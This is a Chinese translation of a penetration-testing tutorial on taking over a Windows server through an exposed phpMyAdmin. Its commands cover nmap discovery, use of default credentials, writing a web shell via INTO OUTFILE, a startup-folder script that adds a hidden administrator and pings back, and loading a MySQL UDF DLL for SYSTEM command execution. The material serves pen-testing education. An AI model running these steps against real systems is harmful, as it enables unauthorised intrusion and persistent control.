[译]phpMyAdmin利用

原文地址:[url]http://pen-testing.sans.org/blog/pen-testing/2013/04/10/putting-the-my-in-phpmyadmin[/url]


$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

这个命令以正常速度(-T3)进行全连接扫描(-sT)。web服务器通常运行在端口80, 443, 8000, 8443, 和8080,所以这些端口用来主机发现(-PS),和检查(-p)。相比于-PN选项,我更喜欢-PS选项,因为它给我们更高质量的信息。
我们得到扫描结果:
[quote]
Nmap scan report for 172.16.105.194
Host is up (0.00083s latency).
PORT STATE SERVICE
80/tcp closed http
443/tcp closed https
8000/tcp closed http-alt
8080/tcp open http-proxy
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /phpMyAdmin/: phpMyAdmin
|_ /PHPMyAdmin/: phpMyAdmin
8443/tcp closed https-alt
[/quote]
服务器运行phpMyAdmin,登录到管理员页面。发现管理员使用默认口令。
事实是因为该服务器是一个监控服务器。phpMyAdmin被捆绑到软件安装包中。没有人知道默认安装了phpMyAdmin。
接下来使用sql上传web shell。记住当你在sql中粘贴shell的时候使用"\"来规避"'",否则sql报错。使用下列语法注入了php shell code。
select '[escaped php shell code]' INTO OUTFILE 'c:\\inetpub\\wwwroot\\shell.php';

我喜欢用Laudanum(下载地址:http://sourceforge.net/projects/laudanum/files/)php shell,因为它可以限制IP和需要授权。
运行shell code后,需要了解我的权限。运行
c:\windows\system32\cmd.exe /c whoami"
返回一个"nt authority\network service"低权限账户。
[color=blue][b]技术1. 写入user开机文件夹。[/b][/color]
在 [b][color=blue]C:\Documents and Settings\All Users\Start Menu\Programs\Startup[/color][/b]文件夹中创建一个bash文件,当任何user登录的时候,该文件就会执行。命令行窗口会弹出一瞬间,但是user可能不会注意到。即使注意到,也可能会忽视。
命令如下:

net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

该该命令创建一个user,添加到本地管理员帐户。/y表示跳过弹出窗口。
平命令用来通知我已经出现user登录了。-n 1选项表示发送一个ping数据包。 -w 10告诉命令在放弃前等待10毫秒。
[color=blue][b]技术2. 使用sql注入UDF(user-defined function)[/b][/color]
首先需要找到插件文件夹,使用如下命令:

select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

然后上传UDF库
这是一种二进制文件,幸运的是,MYSQL "CHAR()"命令可以用来生成二进制数据。例如"SELECT CHAR(72,69,76,76,79)"会返回"HELLO"。我们可以使用下面python命令来实现转换:
$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"

拷贝粘贴,然后我们可以通过OUTFILE生成我们的文件:

SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll'
FIELDS ESCAPED BY ''

接下来,注册dll:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

运行:
SELECT sys_eval('dir') FROM dual
nt authority\system

接下来我们就可以做任何事了,上传Meterpreter shell(通过python和OUTFILE),然后通过sys_exec/sys_eval来执行shell。我们可以创建一个管理员帐户。我们可以开启终端服务,修改防火墙等。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值